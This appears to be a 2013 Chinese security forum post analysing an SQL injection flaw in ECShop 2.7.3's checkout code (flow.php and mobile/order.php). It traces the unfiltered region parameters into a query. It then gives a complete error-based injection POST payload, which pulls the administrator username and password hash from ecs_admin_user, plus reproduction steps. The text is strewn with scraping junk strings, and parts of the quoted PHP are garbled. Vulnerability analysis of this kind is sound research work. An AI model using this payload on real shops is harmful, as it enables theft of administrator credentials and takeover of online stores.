找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2397|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。; U! u# o( N7 x3 d
8 V# L" C5 Y2 t2 X/ Y* _3 X2 H1 _
    漏洞关键文件:3 p6 _& j, w! U& ~8 Z! y
  r; ]. o  g- I
    /includes/lib_order.php5 K% m7 V3 [8 E. Z+ z5 z

3 Z) @& k7 B3 ?8 h% ?    关键函数:
7 |. L' y! p$ |4 _: k1 n" A! f/ Q$ g: m. d# l  J: `5 x' H
, ]5 f2 L* ~' h5 u; u
1 _+ z# I+ j' r
01     function available_shipping_list($region_id_list) 7 X7 S! Q1 |/ K+ E" `3 T, k
( w7 d, a- ^+ O( u2 S4 }, b
02 {
2 V4 l( y9 R% Q4 A. }$ D4 a0 f+ J( a) _6 f6 M7 ?
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 4 I3 B# @3 k' g4 |" d" \" }

& D6 A" ?* ^+ J+ P) p04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .   e4 @2 `" U% y3 r5 P" H
5 j; o$ Q" d! D* U
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% f2 C4 h+ d( k' [, S! j( ^/ _$ I) s0 ?& t* r4 P! k
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
5 }- E8 f4 B$ n1 a1 a0 `' u
6 I0 k5 t* K% ]" N" J1 P07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' g1 E' o5 E+ |( ~) W+ ^  U: ?8 ^: d( }0 }' e2 n, M8 J
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ X% V9 x* j( p' m; |0 B
+ |' \  H& Q3 [7 H$ V# j09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 q) k& i% _+ d6 C
; J+ G2 S" Q9 H9 _( G9 s- `
10   
* l* K# ]/ x) t, @! D* ~5 V! E1 W1 H' C' d: o
11     return $GLOBALS['db']->getAll($sql); # M, i) S! S/ e; U* u
+ \4 ^2 g/ ?5 i
12 } 8 a+ L" h; U: f

0 {$ u$ ^3 x: }) n# Z4 Y: E显然对传入的参数没有任何过滤就带入了查询语句。
7 j6 r3 g  J' Y5 p , n- m& n: c4 ~: h- P9 E7 Y' }
下面我们追踪这个函数在flow.php中:# U: L0 @2 y5 u
第531行:   8 ^0 G, Y3 C/ y" }

4 e1 U0 U! b2 M0 {" o1 $shipping_list     = available_shipping_list($region); 7 ]9 s# z" @9 K8 D  U
; x2 [  V3 B' c: @

, ]" i9 j  ]  Y3 Z; k1 U/ g
9 Z& ^$ m( m0 _" k/ b9 n- I 1 K: d# ~+ b5 Q; |
1 u5 a# v( [! l6 n+ }9 s2 _
再对传入变量进行追踪:
! n, W3 s  o! k
+ G- {7 O+ {! ~- F2 B4 ?, Z! k第530行:   
* X, }& i" I* D. ?  T7 o
# T. W5 }3 Y; h9 e% S. D1 M1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' A! V( x1 }7 c2 `% L8 D, Y1 P1 Q. s6 {" J
! ]& x, E  F6 N$ F7 l3 q2 g
; e5 |  D: b2 z1 L2 N/ b) H
. S+ b% U# S# _0 f5 p
. p8 {8 Z6 X# I, a/ y& ]9 u8 [
第473行:        ! `0 K" C4 i1 }7 v4 R( J

( l3 H7 {- s/ c0 l, N( e! b1 $consignee = get_consignee($_SESSION['user_id']); & V; L; d- ]+ n; v! C0 J# I
# ?; a& y7 I. l! w+ M
到了一个关键函数:& M2 |' m6 {6 S$ }7 C" N

/ R5 Q; \; n  Z  w1 f/includes/lib_order.php
3 o9 {: }3 v- u6 I8 _. L8 }: @4 `
; w. E1 I/ I: g8 [ 8 [. r5 }" R* V4 k, e

/ ~3 p5 o7 o! U: r* c) ?
% s# \/ b, P$ m6 B, r) X
! `! i7 O: ^- T, F1 ?01 function get_consignee($user_id) " m0 {& g8 j. H$ U' T
. A+ Z* g+ Y+ L: f1 k( D& z
02 { $ A; s  T0 a# s4 E3 Q$ Q7 p3 U5 k

% C  F2 w2 g8 i% L5 o03     if (isset($_SESSION['flow_consignee']))
0 W& I  ^1 H  W- F$ f* v. K8 r
# w) r$ |9 w! J6 c2 a04     { : h- r5 p4 d. [. d
$ N! I: B: G" R' W1 k" s
05         /* 如果存在session,则直接返回session中的收货人信息 */ " p" p, z) ]# M9 J! ]
0 F% d1 u+ f' t
06   . v; e; w7 H* s1 |3 ^( [

: E  _  o3 \$ I' o, B" K$ Z07         return $_SESSION['flow_consignee'];
2 Q. U0 z6 D! n3 H$ a
+ @: q+ M7 U6 Q& z( H8 ?( [6 Y08     }
' V' O$ T5 B3 l9 G4 O$ a8 s: \; X2 ~3 M3 G' y5 R% o
09     else & q! L! K, Y! Y9 W. j; m
- F$ X: O! W' t! O% Z+ O1 o
10     { 2 |. c% W, w! N: p5 C) Y

' o/ g- b! g8 T+ m- ~11         /* 如果不存在,则取得用户的默认收货人信息 */
" f8 p/ K7 G% ?
) ]4 T% `9 R" `; ~: |* k) I+ M12         $arr = array(); : y1 b9 A7 Q2 m5 A

4 C$ q$ s8 C- h( i" Q4 r( `13   ( V/ j3 C1 u/ ^) C/ I! u- l0 d6 G
% q1 k) o2 Y  M3 j
14         if ($user_id > 0) ; Q1 Q& u1 n6 q; t6 W
  V" C( u& Z; a/ Y4 w
15         {
9 o. a5 D! j9 u! B  V  p: W
( d/ @& K; h' W! g& b6 {! k  C* C16             /* 取默认地址 */
* f+ J" y. j& r/ l$ ^) |2 \! t: {; ~# z
17             $sql = "SELECT ua.*". * `& q* h( y" E0 c, ~
0 O- F* ]' k( Z6 i' M7 p, f$ N
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ p3 E2 C# q# U
' N2 k% [: A' A' s' Z, Z% E19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 i0 u  l# S) r3 T+ A* Z

  _- [. ^" S. |2 F20   
% O5 H2 {0 Z% n' c" N1 H: a/ B) N
21             $arr = $GLOBALS['db']->getRow($sql);
4 Z) D' F8 K# @% W! {$ ~8 }, J5 G9 N
22         }
9 C4 J9 N, E: I1 u
2 j* R  }0 s# s1 C23   
7 o5 E$ [% y" C# L' H' N$ p4 p" d; p
24         return $arr;
: T  p3 C8 ?4 Y# z* S3 c% \3 `, p6 _- B, \) O: [. A- F0 S
25     } 6 q8 T& ^) y9 k$ C
$ l4 F/ Z# p3 |
26 } . `$ J3 e' L5 L( @/ p, ^$ _
5 ?8 a" S8 G5 {2 Q6 V4 b
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 w6 c2 c1 c9 h4 S3 M7 X" I8 p- U6 o: G" u: ?" C. T" Q

6 E# X' J) `) ]3 Y5 N/ \5 J  x  h9 O9 m9 x+ ]/ F
关键点:3 X! _$ r5 N. q+ z& e
/ L! n( _6 G( \$ ]3 g
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: x( _8 u( N* w% y* a, |& a

/ \4 g! `9 X) T# l) \8 W1 z+ a这里对传入参数反转义存入$_SESSION中。
2 j. W  L0 B2 m: t' t; i) u: m2 H" T

: G4 g! v3 A$ a2 Q& h5 Z% ^4 Y% E
) Z" `3 z" C3 d0 b5 y" V  o然后看下:
! O. K9 ~2 K; f' N0 I, b  [4 f  d2 ~7 |! V/ \
7 t4 w$ M1 G8 D  k% a+ m
  o' d) L+ a6 i$ ?% d7 y
    7 |! C# B+ g$ K6 Y" ?" d# `! @
8 j3 G. N! S* R" V2 p" Q: l) r4 m
01 $consignee = array( * G5 {" ?# Q6 v
% v1 N4 ~0 E0 k; q
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
8 T9 D$ _: \! r! K& X$ e  Y* G
1 q' w+ g" X# \/ I: x6 O6 S! o03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
, w) h0 R2 O- c! N; F1 m+ ^
' b1 L" p- [& p0 }- `' Y5 e9 b04         'country'       => empty($_POST['country'])    ? '' _POST['country'], $ y* i( _$ W5 a6 i7 f6 ?: u
2 {6 r# z7 U, U1 r
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
) z  ?5 b9 K' L) V6 [7 W  s% n& [6 h, _' f; b0 T0 F
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
/ D. H8 d9 X& P9 P. I
* I8 c7 r7 k. w8 H5 ?07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
/ U- P  ?' W& _- V' C( J% V
* d. J6 n8 K+ p08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
9 N: ]. ?0 k7 G+ @. h; z" p0 J" d9 j; m+ f
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
9 A3 B& b% {3 R% O& }, {& Q: a5 z2 G
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), # Z+ g# p% \* s: z; M% D

7 l; A/ V, M8 }2 i11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 5 Y1 T# i! \6 u/ ^8 P1 `7 R7 t& K

  G' S3 A% {& y) j12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
1 Q6 q, E  y$ n  t2 M' U- Q5 d! u9 _- c
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% ]: d& v5 D; H6 x' ]5 {/ L8 [5 o" L0 a2 a/ B
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
( j7 u. E/ N) l" B$ m0 @( {4 L- s9 e. m6 b6 K2 \
15     );
" A2 w7 y" U4 j9 B
7 T* k: S; w; c0 @好了注入就这样出现了。
( w( x, ^: f& C5 ~/ s
7 m6 O0 w. Q2 K# A==================- [! y: b; F# ]) l# o" ?3 Q

; G& _- W  r  ]8 {注入测试:/ }3 D7 N% k3 H" m, C1 k5 a

# x4 M% |/ z+ u/ a+ c环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% L( Y" A, s) a. P7 I1 X8 _/ A
- h9 ~+ v" \" G1 ~& ?4 P
测试程序:ECShop_V2.7.3_UTF8_release1106
0 i: Q3 R" ?, J6 J4 {% F
8 C4 r, n( Z0 h2 V$ @+ U
" W# A3 N- P2 f8 N6 p, v& Y( B; s/ U8 n1 B1 t
1.首先需要点击一个商品加入购物车
, M$ E/ m  f4 H
3 B; M" t5 ^3 r& ]4 o1 g2.注册一个会员帐号- [4 l/ X9 B$ i5 T8 \

7 F1 n  F6 I( T/ f4 C3.post提交数据
+ |/ P$ M; E& F/ S/ b9 ^$ X$ p2 E; Q

, ?, R) h6 ?0 A. S5 n) d8 Z0 \2 V$ e% ~1 B4 b, v- i$ y
1 http://127.0.0.1/ecshop/flow.php
/ ], o" ?2 G0 m, R6 g
- @$ A, u: A3 k0 n5 ?2   
; {& I3 C/ Y9 G2 C( m2 C5 ^8 A3 b( n( L
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 e' ?  ?# l% T/ @, g
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
2 y4 m" r9 d) f7 r
& g/ L8 V2 N( r2 D3 n我们搜寻关键函数function available_shipping_list()
  \7 U- ?2 Z7 W: X9 V+ u" |. ~! H4 e3 Y" N! C
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
$ E. z  O9 S+ f+ v1 \* G# V& v
) Q) m+ n7 `3 P( r) k, p/ L  t利用exp:
  f' I* r, w2 B9 Q7 V( I4 P& G7 b: V- z
1.点击一个商品,点击购买商标
& I1 [- d; W, A/ E* {9 u! @9 L+ C* ?* i4 I' y$ t5 }
2.登录会员帐号
: J) Y# |3 K' j$ V- k- q- r' a  w  l* j& @& S/ W& j4 v4 @
3.post提交:8 C" X! `  @& x% O! i

# w) q% {. ^* S- }http://127.0.0.1/ecshop/mobile/order.php
% Q% f$ Z" Q, D5 N) J* V( A  }6 H$ ^: u) k# r/ ~8 L
% G& P! A1 w$ g

: m/ k5 L# C( v0 k3 kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=& e. v9 R" T) L$ `0 [5 v5 {
. Y6 G. Q/ B4 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表